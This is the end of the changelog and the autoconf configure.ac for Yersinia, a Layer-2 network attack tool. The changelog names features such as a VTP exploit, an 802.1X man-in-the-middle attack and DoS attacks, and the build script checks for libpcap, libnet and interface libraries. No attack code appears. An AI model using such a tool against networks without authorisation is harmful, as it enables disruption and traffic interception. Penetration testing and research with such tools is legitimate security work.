Fixed coredump on ncurses_i_ifaces_screen(). - Removed 'min' and 'max' members from all the structures. 2007/04/27 ---------- - Added new protocol: MPLS. Rudimentary approach... :) 2007/02/08 ---------- - Version 0.7.1 - Now it works in MacOSX 10.4 and perhaps in other BSD (BPF support) 2007/01/25 ---------- - Added VTP exploit 2006/03/23 ---------- - Forbidden launching attacks that need parameters from command line interface. - Better 802.1X support. - Better VTP printable data. - Ncurses fixes 2006/03/22 ---------- - We've got a new domain, www.yersinia.net :) - Removed get_info protocol function. 2006/03/15 ---------- - Removed update_data from protocols. 2006/03/14 ---------- - Fixed ncurses show_info window if no protocol packets. - Added alphabetical order for CLI. Yahooooo!! 2006/03/10 ---------- - Added 802.1X simple MitM attack. :) 2006/03/09 ---------- - Pre-pre-pre-pre-liminary release of 802.1X. :) - Fixed 802.1Q problems with ncurses. 2006/02/17 ---------- - Fixed configure bugs and better compilation for --disable-admin option. :) - Updated man page (not finished yet). - Fixed STP error when using RSTP. 2006/02/16 ---------- - Fixed *big* race condition on Solaris due to the use of nonsafe multithreading calls. Yaaaahooo!!. :) 2006/02/09 ---------- - Now it works again in OpenBSD (don't ignore your parents) - Fixed lots of bugs compiling on Solaris platform. - Added minimal protocol stats for the CLI. 2006/02/05 ---------- - Fixed race condition on startup of tty and console threads. - Fixed bug that leads to coredump when not selecting interface with tty. 2006/01/11 ---------- - Fixed problem in xstp_com_other(). - Added if protocol.visible in some loops. - Removed ARP protocol from yersinia.conf. 2005/12/30 ---------- - Added default values on startup just to avoid sending packets with bad values like MAC addresses filled with zeroes and so on... - Fixed bad display showing the protocol params in the CLI. - Initialize just the visible protocols on term_add_node(). - Fixed bug in ncurses protocol select screen ('g' key). - Added all the functions keys to change protocol mode in ncurses interface. - Removed nonvisible protocols with the ncurses function keys. - Take into account a 0 bytes filename when pressing 'w' in ncurses. - Removed the ncurses '!' option (not useful and broke the design). 2005/12/25 ---------- - Added a new function to each protocol: protocol_end(struct term_node *). Called when destroying the node. 2005/12/22 ---------- - Fixed bug in interfaces_get_last. - Changed intefaces_add() to interfaces_enable(). - Changed intefaces_del() to interfaces_disable(). - Removed global mutex_int and created new mutex field for list_t. - Normalized file names. 2005/12/21 ---------- - Changed the interfaces list from static to a dynamic one. Now you can have as many interfaces as you wish! 2005/12/16 ---------- - Ncurses split in three different files like GTK - New files for dynamic lists implementation 2005/11/16 ---------- - New CLI design!! My friend, we have TAB support...Yahoooo!! :) - Fixed 3 annoying bugs on attack_kill_th :) 2005/11/08 ---------- - Removed getopt from distribution (no longer needed). 2005/11/04 ---------- - Added specific filter param for protocol in struct commands_param. - Added xstp and cdp specific filter functions for params. 2005/11/03 ---------- - First try for making an 'abstract' command line parser for any protocol. 2005/11/02 ---------- - Moved attack_filter_param to parser_filter_param 2005/11/01 ---------- - Fixed bad length on vtp CLI struct, dtp CLI struct, hsrp CLI struct and xstp CLI struct. - Updated the maximum CLI command length from 32 to 48 bytes. - Added keeping care of the 'active' protocols on interfaces engine (not really useful at the moment but it must be done soon or later). 2005/10/31 ---------- - Added 'sh protocol params' CLI command. 2005/10/30 ---------- - Added 'visible' field to protocols struct. - New dynamic design for some CLI commands (not finished). Now the protocols list in some CLI commands is fetched from the global protocols struct. :) - Fixed bug on run attack CLI command. 2005/10/27 ---------- - Added new design for DHCP CLI command 'set' (big change, arghhhh). :) - Added new design for STP CLI command 'set' (big change, arghhhh). :) 2005/10/26 ---------- - Fixed FIELD_BYTES on attack_filter_param (oh my god!). - Fixed dtp_dom_len not using the real domain len on dtp.c - Fixed vtp_dom_len not using the real domain len on vtp.c - Added new design for DTP CLI command 'set' (big change, arghhhh). :) - Added new design for VTP CLI command 'set' (big change, arghhhh). :) - Added new design for 802.1Q CLI command 'set' (big change, arghhhh). :) - Added new design for HSRP CLI command 'set' (big change, arghhhh). :) - Added new design for CDP CLI command 'set' (big change, arghhhh). :) - Fixed data alignment when using FIELD_DEC or FIELD_HEX data type on attack_filter_param. 2005/10/20 ---------- - Fixed src/Makefile.am for compiling. :) 2005/10/10 ---------- - Initial GTK interface 2005/09/29 ---------- - Fixed OpenBSD compile bugs and warnings in ncurses interface - Fixed annoying bug on hsrp that can lead to hsrp failures. 2005/09/23 ---------- - Added the daemon port to the configuration file. - Minor bugfixes. - Solved CDP annoying bug. - Solved the infamous interfaces initial bug. Thanks to Andrej Frank for pointing out this (added to the THANKS file). - Fixed ncurses warning if terminal is less than 80x25. 2005/09/16 ---------- - Version 0.5.6 2005/09/12 ---------- - Added --with-libnet-includes and --with-pcap-includes to the configure script. - Added Darwin OS support in configure script 2005/08/24 ---------- - Fixed a bug when using more than 1 command line argument - Added support for IPv4 filtering for the network daemon in the configuration file, now we support expressions with '-', '*' and CIDR. :) (See the yersinia.conf file). - Added Enigma Obfuscate to the THANKS file as a patch submitter due to his Mac OSX patch (thanks). 2005/08/07 ---------- - Fixed a bug when recognizing ISL packets - Version 0.5.5.1 2005/08/02 ---------- - Version 0.5.5 2005/07/28 ---------- - Fixed gcc 4 warnings 2005/06/15 ---------- - Fixed lots of windows errors when using 80x25 terminals in ncurses mode. 2005/06/09 ---------- - Added the user, password and enable password for the daemon mode in the configuration file. 2005/06/06 ---------- - Solved interfaces thread taking 100% of CPU amount. Thanks to Sergi Alvarez for pointing out this. 2005/05/26 ---------- - Removed F1-F10 option on ncurses help screen. 2005/05/24 ---------- - Released 0.5.4 version. 2005/05/24 ---------- - Added 'g' option (for switching among modes, useful if you run a window manager that manages F1, F2 ... (like ion3!!) 2005/05/18 ---------- - Fixed annoying deadlock with tty terminal and uptime thread. - Fixed bad man page examples. Thanks to Andrew Vladimirov for pointing out this. 2005/04/20 ---------- - Fixed annoying memory leak due to thread design. Thanks to Alejandro Sanchez for pointing out this. - Fixed possible bug in term_delete_node - Fixed htonl/ntohl issues on hsrp_send_raw. Thanks to Daniel Solis for pointing out this. 2004/02/06 ---------- Changed name from STomP to Yersinia. Moved attack_* to attack_stp_*. 0.3.0 2003/01/15 ----- Thread support 0.2.0 ----- Two DoS attacks and one non DoS implemented Support for multiple interfaces 0.1.0 ----- Initial Release (alphaaaaaaaaaa)
yersinia/configure.ac
dnl dnl Process this file with autoconf to produce a configure script. dnl AC_INIT(yersinia, 0.8.2, [email protected]) AC_CONFIG_SRCDIR([src/yersinia.c]) AM_CONFIG_HEADER(src/config.h) AC_CANONICAL_TARGET([]) AM_INIT_AUTOMAKE AC_PROG_CC if test -n "$GCC"; then CFLAGS="-Wall -Winvalid-source-encoding" supports_invalid_encoding=no AC_LANG_PUSH([C]) AC_SUBST(CFLAGS) AC_COMPILE_IFELSE([AC_LANG_PROGRAM([[int i=0;]])], [supports_invalid_encoding=yes], [supports_invalid_encoding=no] ) AC_LANG_POP([C]) if test $supports_invalid_encoding = yes; then CFLAGS="-O3 -Wall -g -D_DEFAULT_SOURCE -Wno-conversion -Wno-invalid-source-encoding" else CFLAGS="-O3 -Wall -g -D_DEFAULT_SOURCE" fi else AC_MSG_WARN(Ouch!! Only gcc variants are supported...) AC_MSG_ERROR(...you're on your own.) fi AC_HEADER_STDC([]) AC_SUBST(CFLAGS) AC_SUBST(CPPFLAGS) AC_SUBST(LDFLAGS) AC_PROG_INSTALL AC_PATH_PROG(MAKEDEPEND, makedepend) AC_LBL_UNALIGNED_ACCESS dnl dnl Check for libraries dnl AC_CHECK_LIB(socket,main) AC_CHECK_LIB(resolv,main) AC_CHECK_LIB(nsl,main) AC_CHECK_LIB(rt,main) dnl dnl libpcap must be at least 0.8.x dnl AC_MSG_CHECKING(for a complete set of pcap headers) possible_dirs="`eval echo -n ${includedir}` \ /usr/include /usr/include/pcap \ /usr/local/include /usr/local/include/pcap \ /usr/share/include /usr/share/include/pcap" AC_ARG_WITH(pcap-includes, [ --with-pcap-includes specify the pcap include directory], [PCAP_DIR=$withval], [PCAP_DIR=$possible_dirs]) pcap_dir="" for dir in $PCAP_DIR ; do if test -d $dir -a -r "$dir/pcap-bpf.h" ; then if test -n "$pcap_dir" -a "$pcap_dir" != "$dir"; then echo echo; echo more than one set found in: echo $pcap_dir echo $dir echo; echo please wipe out all unused pcap installations exit else pcap_dir="$dir" fi fi done if test -z "$pcap_dir" ; then echo no; echo !!! couldn\'t find a complete set of pcap headers exit else echo found $pcap_dir PCAP_INCLUDE="-I$pcap_dir" PCAP_LINK="-L`dirname $pcap_dir`/lib" AC_SUBST(PCAP_INCLUDE) AC_SUBST(PCAP_LINK) fi if test "$PCAP_LINK" != "-L/usr/lib" ; then LIBS="$LIBS $PCAP_LINK" fi if test "$PCAP_INCLUDE" != "-I/usr/include" ; then CFLAGS="$CFLAGS $PCAP_INCLUDE" fi AC_CHECK_LIB(pcap, pcap_lib_version, have_libpcap=yes, have_libpcap=no) if test $have_libpcap = no; then AC_MSG_WARN(Ouch!! Libpcap (at least 0.8.x) library is needed in order to compile Yersinia!!...) AC_MSG_ERROR(...i'm sure you'll take the right decision.) fi AH_TEMPLATE([HAVE_PCAP_DUMP_FLUSH], [pcap_dump_flush]) AC_CHECK_LIB(pcap, pcap_dump_flush,AC_DEFINE(HAVE_PCAP_DUMP_FLUSH)) dnl Check for BSD's BPF disable_bpf=no have_bpf=no AC_MSG_CHECKING(for BPF device sending support) AC_TRY_RUN([ #include <stdio.h> #include <fcntl.h> #include <stdlib.h> #include <errno.h> int main(int argc, char *argv[]) { int fd; fd = open("/dev/bpf0", O_RDONLY, 0); /* if we opened it, we're good */ if (fd > 1) exit(0); /* if we got EBUSY or permission denied it exists, so we're good */ if (fd < 0 && (errno == EBUSY || errno == 13)) exit(0); /* else suck, no good */ exit(-1); }], [ if test $disable_bpf = no ; then AC_DEFINE([HAVE_BPF], [1], [Do we have BPF device support?]) AC_MSG_RESULT(yes) have_bpf=yes else AC_MSG_RESULT(no) fi ]) dnl dnl dnl libnet must be at least 1.1.2 dnl dnl AC_MSG_CHECKING(for a complete set of libnet headers) possible_dirs="`eval echo -n ${includedir}` \ /usr/include /usr/include/libnet \ /usr/local/include /usr/local/include/libnet \ /usr/share/include /usr/share/include/libnet" possible_libnet_config_dirs="/usr /usr/local /opt" AC_ARG_WITH(libnet-includes, [ --with-libnet-includes specify the libnet include directory], [LIBNET_DIR=$withval LIBNET_CONFIG_DIR=$withval], [LIBNET_DIR=$possible_dirs LIBNET_CONFIG_DIR=$possible_libnet_config_dirs]) libnet_dir="" for dir in $LIBNET_DIR ; do if test -d $dir -a -r "$dir/libnet.h" ; then if test -n "$libnet_dir" -a "$libnet_dir" != "$dir"; then echo echo; echo more than one set found in: echo $libnet_dir echo $dir echo; echo please wipe out all unused libnet installations exit else libnet_dir="$dir" fi fi done for dir in $LIBNET_CONFIG_DIR ; do if test -d $dir -a -r "$dir/bin/libnet-config" ; then libnet_config_dir="$dir/bin" fi done if test -z "$libnet_dir" ; then echo no; echo !!! couldn\'t find a complete set of libnet headers exit else echo found $libnet_dir dnl libnet headers are usually in /usr/include/libnet, so we need a .. LIBNET_INCLUDE="-I$libnet_dir" LIBNET_LINK="-L`dirname $libnet_dir`/lib" LIBNET_CONFIG="$libnet_config_dir/libnet-config" AC_SUBST(LIBNET_INCLUDE) AC_SUBST(LIBNET_LINK) AC_SUBST(LIBNET_CONFIG) fi if test "$LIBNET_LINK" != "-L/usr/lib" ; then LIBS="$LIBS $LIBNET_LINK" fi if test "$LIBNET_INCLUDE" != "-I/usr/include" ; then CFLAGS="$CFLAGS $LIBNET_INCLUDE" fi AC_CHECK_LIB(net, libnet_build_stp_conf, have_libnet=yes, have_libnet=no) if test $have_libnet = no; then AC_MSG_WARN(Ouch!! Libnet library 1.1.2 is needed in order to compile Yersinia!!...) AC_MSG_ERROR(...i'm sure you'll take the right decision.) fi dnl AC_CHECK_HEADERS(libnet.h, have_libnet=yes,have_libnet=no) dnl if test $have_libnet = no; then dnl AC_MSG_WARN(Ouch!! You need to install the libnet.h file in order to compile Yersinia!!...) dnl AC_MSG_ERROR(...i'm sure you'll take the right decision.) dnl fi AC_MSG_CHECKING(if libnet is at least version 1.1.2) AC_TRY_RUN([ #include <stdlib.h> #include <stdio.h> #include <libnet.h> #define HOPE_MAJOR 1 #define HOPE_MEDIUM 1 #define HOPE_MINOR 2 int main(void) { unsigned int major,medium,minor,current, desired; desired = HOPE_MAJOR*10000 + HOPE_MEDIUM*100 + HOPE_MINOR; sscanf( LIBNET_VERSION, "%d.%d.%d", &major, &medium, &minor); current = major*10000 + medium*100 + minor; if ( current >= desired ) exit(0); exit(1); }], [AC_MSG_RESULT(yes); have_libnet=yes], [AC_MSG_RESULT(no); have_libnet=no], [AC_MSG_RESULT(no); have_libnet=no]) if test $have_libnet = no; then AC_MSG_WARN(Ouch!! At least Libnet library version 1.1.2 is needed in order to compile Yersinia!!...) AC_MSG_ERROR(...i'm sure you'll take the right decision.) fi dnl dnl Check headers dnl AC_CHECK_HEADERS(sys/sockio.h sys/ioctl.h net/if.h,,, [[ #if HAVE_SYS_SOCKIO_H #include <sys/sockio.h> #endif ]]) AC_CHECK_HEADERS(bstring.h sys/time.h sys/param.h netinet/in_systm.h inttypes.h) AC_CHECK_HEADERS(netinet/in_system.h sys/wait.h) AC_HEADER_TIME AC_C_BIGENDIAN dnl dnl sockaddr sa_len? dnl AH_TEMPLATE([HAVE_SOCKADDR_SA_LEN], [have sockaddr_sa_len]) AC_MSG_CHECKING([if struct sockaddr has sa_len field]) AC_TRY_COMPILE([#include <sys/types.h> #include <sys/socket.h>], [struct sockaddr sa; sa.sa_len;], [AC_MSG_RESULT(yes); AC_DEFINE(HAVE_SOCKADDR_SA_LEN)], [AC_MSG_RESULT(no);] ) AH_TEMPLATE([PTHREAD_NEED_TESTCANCEL], [pthread need testcancel]) AH_TEMPLATE([STRANGE_BSD_BYTE], [strange bsd byte]) AH_TEMPLATE([HPUX], [HP-UX System]) AH_TEMPLATE([DARWIN], [Darwin System]) AH_TEMPLATE([OPENBSD], [OpenBSD System]) AH_TEMPLATE([NETBSD], [NetBSD System]) AH_TEMPLATE([FREEBSD], [FreeBSD System]) AH_TEMPLATE([SOLARIS_251], [Solaris 2.51 System]) AH_TEMPLATE([SOLARIS_26], [Solaris 2.6 System]) AH_TEMPLATE([SOLARIS_27], [Solaris 2.7 System]) AH_TEMPLATE([SOLARIS_28], [Solaris 2.8 System]) AH_TEMPLATE([SOLARIS_29], [Solaris 2.9 System]) AH_TEMPLATE([SOLARIS], [Solaris System]) AH_TEMPLATE([LINUX], [Linux System]) AH_TEMPLATE([LINUX_20], [Linux 2.0 System]) AH_TEMPLATE([LINUX_21], [Linux 2.1 System]) AH_TEMPLATE([LINUX_22], [Linux 2.2 System]) AH_TEMPLATE([LINUX_23], [Linux 2.3 System]) AH_TEMPLATE([LINUX_24], [Linux 2.4 System]) AH_TEMPLATE([LINUX_25], [Linux 2.5 System]) AH_TEMPLATE([LINUX_26], [Linux 2.6 System]) AH_TEMPLATE([NEED_USLEEP], [System need DoS timeout]) case "$target_os" in *linux*) AC_DEFINE(LINUX) AC_DEFINE(PTHREAD_NEED_TESTCANCEL) case "`uname -r`" in 2.6*) AC_DEFINE(LINUX_26) ;; 2.5*) AC_DEFINE(LINUX_25) ;; 2.4*) AC_DEFINE(LINUX_24) ;; 2.3*) AC_DEFINE(LINUX_23) ;; 2.2*) AC_DEFINE(LINUX_22) ;; 2.1*) AC_DEFINE(LINUX_21) ;; 2.0*) AC_DEFINE(LINUX_20) ;; esac ;; *solaris*) AC_DEFINE(SOLARIS) case "`uname -r`" in 5.5.1) AC_DEFINE(SOLARIS_251) ;; 5.6*) AC_DEFINE(SOLARIS_26) ;; 5.7*) AC_DEFINE(SOLARIS_27) ;; 5.8*) AC_DEFINE(SOLARIS_27) ;; 5.9*) AC_DEFINE(SOLARIS_27) ;; esac ;; *freebsd*) AC_DEFINE(FREEBSD) AC_DEFINE(STRANGE_BSD_BYTE) AC_DEFINE(NEED_USLEEP) ;; *netbsd*) AC_DEFINE(NETBSD) AC_DEFINE(STRANGE_BSD_BYTE) AC_DEFINE(NEED_USLEEP) ;; *openbsd*) AC_DEFINE(OPENBSD) AC_DEFINE(NEED_USLEEP) case "`uname -r`" in 1.*) AC_DEFINE(STRANGE_BSD_BYTE) ;; 2.0*) AC_DEFINE(STRANGE_BSD_BYTE) ;; 2.*) ;; *) AC_DEFINE(STRANGE_BSD_BYTE) ;; esac ;; *hpux*) AC_DEFINE(HPUX) ;; *darwin*) AC_DEFINE(DARWIN) ;; *) AC_MSG_WARN(it seems that your OS is not supported) AC_MSG_WARN(and this may cause troubles) AC_MSG_WARN(please send bugs and diffs to [email protected]) ;; esac dnl dnl Check for library functions dnl AC_CHECK_FUNCS(memcpy memset pthread_setconcurrency strerror strtok_r rand_r) AC_CHECK_FUNCS(calloc_r malloc_r free_r ctime_r nanosleep) AC_CHECK_FUNCS(strerror_r, have_strerror_r=yes,have_strerror_r=no) if test $have_strerror_r = yes; then AC_MSG_CHECKING(if strerror_r is on glibc version >= 2.0) AC_TRY_RUN([ #include <stdlib.h> #include <features.h> int main(void) { #if defined(__GLIBC__) && __GLIBC__ >= 2 && __GLIBC_MINOR__ >= 0 exit(0); #else exit(1); #endif }], [AC_MSG_RESULT(yes); have_glibc=yes], [AC_MSG_RESULT(no); have_glibc=no], [AC_MSG_RESULT(no); have_glibc=no]) AH_TEMPLATE([HAVE_GLIBC_STRERROR_R], [have glibc strerror_r]) if test $have_glibc = yes; then AC_DEFINE(HAVE_GLIBC_STRERROR_R) fi fi dnl dnl Check for pthreads dnl AC_CHECK_HEADERS(semaphore.h) AC_CHECK_HEADERS(sched.h sys/sched.h) AC_CHECK_HEADERS(pthread.h) AC_CHECK_LIB(pthread, pthread_create, , [ AC_CHECK_LIB(pthreads, pthread_create, , [ AC_CHECK_LIB(c_r, pthread_create) ]) ]) AC_MSG_CHECKING([for pthreads support]) if test ".${ac_cv_header_pthread_h}" != ".yes" || (test ".${ac_cv_lib_pthread_pthread_create}" != ".yes" && test ".${ac_cv_lib_pthreads_pthread_create}" != ".yes" && test ".${ac_cv_lib_c_r_pthread_create}" != ".yes"); then AC_MSG_RESULT(error) AC_MSG_WARN(error) AC_MSG_WARN(***********************************************) AC_MSG_WARN(* PTHREADS is NOT available on your system !! *) AC_MSG_WARN(***********************************************) else AC_MSG_RESULT(ok) fi dnl dnl Check for remote admin dnl AC_ARG_ENABLE(admin, [ --disable-admin disable remote admin interface],,enable_admin=true) AH_TEMPLATE([HAVE_REMOTE_ADMIN], [remote admin support]) AM_CONDITIONAL(HAVE_REMOTE_ADMIN, test $enable_admin = true) if test "$enable_admin" = "true"; then AC_DEFINE(HAVE_REMOTE_ADMIN) fi dnl Curses detection: Munged from Midnight Commander's configure.in dnl dnl What it does: dnl ============= dnl dnl - Determine which version of curses is installed on your system dnl and set the -I/-L/-l compiler entries and add a few preprocessor dnl symbols dnl - Do an AC_SUBST on the CURSES_INCLUDEDIR and CURSES_LIBS so that dnl @CURSES_INCLUDEDIR@ and @CURSES_LIBS@ will be available in dnl Makefile.in's dnl - Modify the following configure variables (these are the only dnl curses.m4 variables you can access from within configure.in) dnl CURSES_INCLUDEDIR - contains -I's and possibly -DRENAMED_CURSES if dnl an ncurses.h that's been renamed to curses.h dnl is found. dnl CURSES_LIBS - sets -L and -l's appropriately dnl CFLAGS - if --with-sco, add -D_SVID3 dnl has_curses - exports result of tests to rest of configure dnl dnl Usage: dnl ====== dnl 1) Add lines indicated below to acconfig.h dnl 2) call AC_CHECK_CURSES after AC_PROG_CC in your configure.in dnl 3) Instead of #include <curses.h> you should use the following to dnl properly locate ncurses or curses header file dnl dnl #if defined(USE_NCURSES) && !defined(RENAMED_NCURSES) dnl #include <ncurses.h> dnl #else dnl #include <curses.h> dnl #endif dnl dnl 4) Make sure to add @CURSES_INCLUDEDIR@ to your preprocessor flags dnl 5) Make sure to add @CURSES_LIBS@ to your linker flags or LIBS dnl dnl Notes with automake: dnl - call AM_CONDITIONAL(HAS_CURSES, test "$has_curses" = true) from dnl configure.in dnl - your Makefile.am can look something like this dnl ----------------------------------------------- dnl INCLUDES= blah blah blah $(CURSES_INCLUDEDIR) dnl if HAS_CURSES dnl CURSES_TARGETS=name_of_curses_prog dnl endif dnl bin_PROGRAMS = other_programs $(CURSES_TARGETS) dnl other_programs_SOURCES = blah blah blah dnl name_of_curses_prog_SOURCES = blah blah blah dnl other_programs_LDADD = blah dnl name_of_curses_prog_LDADD = blah $(CURSES_LIBS) dnl ----------------------------------------------- dnl dnl dnl The following lines should be added to acconfig.h: dnl ================================================== dnl dnl /*=== Curses version detection defines ===*/ dnl /* Found some version of curses that we're going to use */ dnl #undef HAS_CURSES dnl dnl /* Use SunOS SysV curses? */ dnl #undef USE_SUNOS_CURSES dnl dnl /* Use old BSD curses - not used right now */ dnl #undef USE_BSD_CURSES dnl dnl /* Use SystemV curses? */ dnl #undef USE_SYSV_CURSES dnl dnl /* Use Ncurses? */ dnl #undef USE_NCURSES dnl dnl /* If you Curses does not have color define this one */ dnl #undef NO_COLOR_CURSES dnl dnl /* Define if you want to turn on SCO-specific code */ dnl #undef SCO_FLAVOR dnl dnl /* Set to reflect version of ncurses * dnl * 0 = version 1.* dnl * 1 = version 1.9.9g dnl * 2 = version 4.0/4.1 */ dnl #undef NCURSES_970530 dnl dnl /*=== End new stuff for acconfig.h ===*/ dnl AH_TEMPLATE([HAS_CURSES], [curses supported]) AH_TEMPLATE([USE_SUNOS_CURSES], [SunOS curses]) AH_TEMPLATE([USE_BSD_CURSES], [BSD curses]) AH_TEMPLATE([USE_SYSV_CURSES], [SysV curses]) AH_TEMPLATE([USE_NCURSES], [ncurses]) AH_TEMPLATE([NO_COLOR_CURSES], [no color supported]) AH_TEMPLATE([SCO_FLAVOR], [SCO code]) AH_TEMPLATE([NCURSES_970530], [ncurses version]) AC_DEFUN([AC_CHECK_CURSES],[ search_ncurses=true screen_manager="" has_curses=false CFLAGS=${CFLAGS--O} AC_SUBST(CURSES_LIBS) AC_SUBST(CURSES_INCLUDEDIR) AC_ARG_WITH(sco, [ --with-sco Use this to turn on SCO-specific code],[ if test x$withval = xyes; then AC_DEFINE(SCO_FLAVOR) CFLAGS="$CFLAGS -D_SVID3" fi ]) AC_ARG_WITH(sunos-curses, [ --with-sunos-curses Used to force SunOS 4.x curses],[ if test x$withval = xyes; then AC_USE_SUNOS_CURSES fi ]) AC_ARG_WITH(osf1-curses, [ --with-osf1-curses Used to force OSF/1 curses],[ if test x$withval = xyes; then AC_USE_OSF1_CURSES fi ]) AC_ARG_WITH(vcurses, [ --with-vcurses[=incdir] Used to force SysV curses], if test x$withval != xyes; then CURSES_INCLUDEDIR="-I$withval" fi AC_USE_SYSV_CURSES ) AC_ARG_WITH(ncurses, [ --with-ncurses[=dir] Compile with ncurses/locate base dir], if test x$withval = xno ; then search_ncurses=false elif test x$withval != xyes ; then CURSES_LIBS="$LIBS -L$withval/lib -lncurses" CURSES_INCLUDEDIR="-I$withval/include" search_ncurses=false screen_manager="ncurses" AC_DEFINE(USE_NCURSES) AC_DEFINE(HAS_CURSES) has_curses=true fi ) if $search_ncurses then AC_SEARCH_NCURSES() fi ]) AC_DEFUN([AC_USE_SUNOS_CURSES], [ search_ncurses=false screen_manager="SunOS 4.x /usr/5include curses" AC_MSG_RESULT(Using SunOS 4.x /usr/5include curses) AC_DEFINE(USE_SUNOS_CURSES) AC_DEFINE(HAS_CURSES) has_curses=true AC_DEFINE(NO_COLOR_CURSES) AC_DEFINE(USE_SYSV_CURSES) CURSES_INCLUDEDIR="-I/usr/5include" CURSES_LIBS="/usr/5lib/libcurses.a /usr/5lib/libtermcap.a" AC_MSG_RESULT(Please note that some screen refreshs may fail) ]) AC_DEFUN([AC_USE_OSF1_CURSES], [ AC_MSG_RESULT(Using OSF1 curses) search_ncurses=false screen_manager="OSF1 curses" AC_DEFINE(HAS_CURSES) has_curses=true AC_DEFINE(NO_COLOR_CURSES) AC_DEFINE(USE_SYSV_CURSES) CURSES_LIBS="-lcurses" ]) AC_DEFUN([AC_USE_SYSV_CURSES], [ AC_MSG_RESULT(Using SysV curses) AC_DEFINE(HAS_CURSES) has_curses=true AC_DEFINE(USE_SYSV_CURSES) search_ncurses=false screen_manager="SysV/curses" CURSES_LIBS="-lcurses" ]) dnl AC_ARG_WITH(bsd-curses, dnl [--with-bsd-curses Used to compile with bsd curses, not very fancy], dnl search_ncurses=false dnl screen_manager="Ultrix/cursesX" dnl if test $system = ULTRIX dnl then dnl THIS_CURSES=cursesX dnl else dnl THIS_CURSES=curses dnl fi dnl dnl CURSES_LIBS="-l$THIS_CURSES -ltermcap" dnl AC_DEFINE(HAS_CURSES) dnl has_curses=true dnl AC_DEFINE(USE_BSD_CURSES) dnl AC_MSG_RESULT(Please note that some screen refreshs may fail) dnl AC_WARN(Use of the bsdcurses extension has some) dnl AC_WARN(display/input problems.) dnl AC_WARN(Reconsider using xcurses) dnl) dnl dnl Parameters: directory filename cureses_LIBS curses_INCLUDEDIR nicename dnl AC_DEFUN([AC_NCURSES], [ if $search_ncurses then if test -f $1/$2 then AC_MSG_RESULT(Found ncurses on $1/$2) CURSES_LIBS="$3" CURSES_INCLUDEDIR="$4" search_ncurses=false screen_manager=$5 AC_DEFINE(HAS_CURSES) has_curses=true AC_DEFINE(USE_NCURSES) fi fi ]) AC_DEFUN([AC_SEARCH_NCURSES], [ AC_CHECKING("location of ncurses.h file") AC_NCURSES(/usr/include, ncurses.h, -lncurses,, "ncurses on /usr/include") AC_NCURSES(/usr/include/ncurses, ncurses.h, -lncurses, -I/usr/include/ncurses, "ncurses on /usr/include/ncurses") AC_NCURSES(/usr/local/include, ncurses.h, -L/usr/local/lib -lncurses, -I/usr/local/include, "ncurses on /usr/local") AC_NCURSES(/usr/local/include/ncurses, ncurses.h, -L/usr/local/lib -L/usr/local/lib/ncurses -lncurses, -I/usr/local/include/ncurses, "ncurses on /usr/local/include/ncurses") AC_NCURSES(/usr/local/include/ncurses, curses.h, -L/usr/local/lib -lncurses, -I/usr/local/include/ncurses -DRENAMED_NCURSES, "renamed ncurses on /usr/local/.../ncurses") AC_NCURSES(/usr/include/ncurses, curses.h, -lncurses, -I/usr/include/ncurses -DRENAMED_NCURSES, "renamed ncurses on /usr/include/ncurses") dnl dnl We couldn't find ncurses, try SysV curses dnl if $search_ncurses then AC_EGREP_HEADER(init_color, /usr/include/curses.h, AC_USE_SYSV_CURSES) AC_EGREP_CPP(USE_NCURSES,[ #include <curses.h> #ifdef __NCURSES_H #undef USE_NCURSES USE_NCURSES #endif ],[ CURSES_INCLUDEDIR="$CURSES_INCLUDEDIR -DRENAMED_NCURSES" AC_DEFINE(HAS_CURSES) has_curses=true AC_DEFINE(USE_NCURSES) search_ncurses=false screen_manager="ncurses installed as curses" ]) fi dnl dnl Try SunOS 4.x /usr/5{lib,include} ncurses dnl The flags USE_SUNOS_CURSES, USE_BSD_CURSES and BUGGY_CURSES dnl should be replaced by a more fine grained selection routine dnl if $search_ncurses then if test -f /usr/5include/curses.h then AC_USE_SUNOS_CURSES fi else # check for ncurses version, to properly ifdef mouse-fix AC_MSG_CHECKING(for ncurses version) ncurses_version=unknown cat > conftest.$ac_ext <<EOF [#]line __oline__ "configure" #include "confdefs.h" #ifdef RENAMED_NCURSES #include <curses.h> #else #include <ncurses.h> #endif #undef VERSION VERSION:NCURSES_VERSION EOF if (eval "$ac_cpp conftest.$ac_ext") 2>&AC_FD_CC | egrep "VERSION:" >conftest.out 2>&1; then changequote(,)dnl ncurses_version=`cat conftest.out|sed -e 's/^[^"]*"//' -e 's/".*//'` changequote([,])dnl fi rm -rf conftest* AC_MSG_RESULT($ncurses_version) case "$ncurses_version" in changequote(,)dnl 4.[01]) changequote([,])dnl AC_DEFINE(NCURSES_970530,2) ;; 1.9.9g) AC_DEFINE(NCURSES_970530,1) ;; 1*) AC_DEFINE(NCURSES_970530,0) ;; esac fi ]) AC_CHECK_CURSES AM_CONDITIONAL(HAS_CURSES, test "$has_curses" = true) if test "$has_curses" = "true"; then AC_CHECK_HEADERS(panel.h) AC_CHECK_LIB(ncurses, use_default_colors, [AC_DEFINE(HAVE_NCURSES_USE_DEFAULTS_COLORS,1,[Define to 1 if have use_default_colors])]) AC_CHECK_LIB(ncurses, resize_term, [AC_DEFINE(HAVE_NCURSES_RESIZETERM,1,[Define to 1 if have resizeterm])]) AC_CHECK_LIB(ncurses, wresize, [AC_DEFINE(HAVE_NCURSES_WRESIZE,1,[Define to 1 if have wresize])]) fi dnl dnl GTK Interface checks dnl dnl AC_ARG_ENABLE(gtk, [ --without-gtk disable gtk 2.0 interface],,enable_gtk=true) dnl AH_TEMPLATE([HAVE_GTK], [gtk interface support]) dnl AM_CONDITIONAL(HAVE_GTK, test "$enable_gtk" = true) AC_ARG_ENABLE(gtk, AC_HELP_STRING([--disable-gtk], [Disable gtk 2.0 interface]), [use_gtk=$enableval], [use_gtk=yes]) AH_TEMPLATE([HAVE_GTK], [gtk interface support]) AM_CONDITIONAL(HAVE_GTK, test $use_gtk = yes) if test $use_gtk = yes; then AC_DEFINE(HAVE_GTK) pkg_modules="gtk+-2.0 >= 2.6.0" PKG_CHECK_MODULES(PACKAGE, [$pkg_modules]) AC_SUBST(PACKAGE_CFLAGS) AC_SUBST(PACKAGE_LIBS) GETTEXT_PACKAGE=yersinia AC_SUBST(GETTEXT_PACKAGE) AC_DEFINE_UNQUOTED(GETTEXT_PACKAGE,"$GETTEXT_PACKAGE", [Gettext package.]) dnl Add the languages which your application supports here. ALL_LINGUAS="" AM_GLIB_GNU_GETTEXT fi AH_TEMPLATE([INFO_KERN], "Kernel name") AH_TEMPLATE([INFO_KERN_VER], "Kernel version") AH_TEMPLATE([INFO_PLATFORM], "Platform architecture") 